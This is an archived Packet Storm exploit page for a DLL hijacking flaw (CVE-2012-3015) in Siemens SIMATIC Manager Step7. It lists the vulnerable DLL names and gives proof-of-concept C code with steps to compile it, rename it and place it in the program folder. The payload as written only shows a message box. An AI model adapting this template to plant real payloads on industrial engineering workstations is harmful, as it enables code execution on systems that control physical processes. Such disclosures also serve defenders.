what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking
Posted Dec 21, 2016
Authored by Amir.ght

SIMATIC Manager Step7 version 5.5 SP1 suffers a dll hijacking vulnerability.

tags | exploit
systems | windows
SHA-256 | ddad2b2fdbce31e4817c2d302d69fee5c22b023791e6fced5b6e4b53324b0972

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

Change Mirror Download
#######################################################
# Exploit Title: SIMATIC Manager Step7 DLL Hijacking
# Cve : 2012-3015
# Author: Ashiyane Digital Security Team
# Vendor Homepage: siemens.com
# Version: >=5.5 SP1
# Tested on:Windows 7
# Exploit by : Amir.ght
########################################################
Description:
Company Name: SIEMENS AG
Product Name: SIEMENS STEP 7/S7(TM) Programmable Controller
SIMATIC-Manager:
The SIMATIC Manager manages all data belonging to an automation project,
regardless of the target system (SIMATIC S7, SIMATIC C7 or SIMATIC WinAC) on which they are implemented.
It provides a common entry point for all SIMATIC S7, C7 or WinAC tools.
The SIMATIC software tools that are necessary for processing the selected data are automatically started by SIMATIC Manager.

Untrusted search path vulnerability in Siemens SIMATIC STEP7 before 5.5 SP1,
as used in SIMATIC PCS7 7.1 SP3 and earlier and other products,
allows local users to gain privileges via a Trojan horse DLL in a STEP7 project folder.

vulnerabe DLLs:
aC/ winsock32.dll
aC/ s7acalxx.dll
aC/ s7wsilrx.dll
aC/ s7wlclrx.dll
aC/ s7ousbpx.dll And Many Others

###############################################################
# PROOF OF CONCEPT:
For Test this vulnerability we can compile bellow code and rename outfile to
winsock32.dll or s7acalxx.dll and copy dll file to directory of simiatic program.
after opening program malicious dll will be executed
..........................................
//gcc exploit.c -o winsock32.dll -shared
//this dll show a message box

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close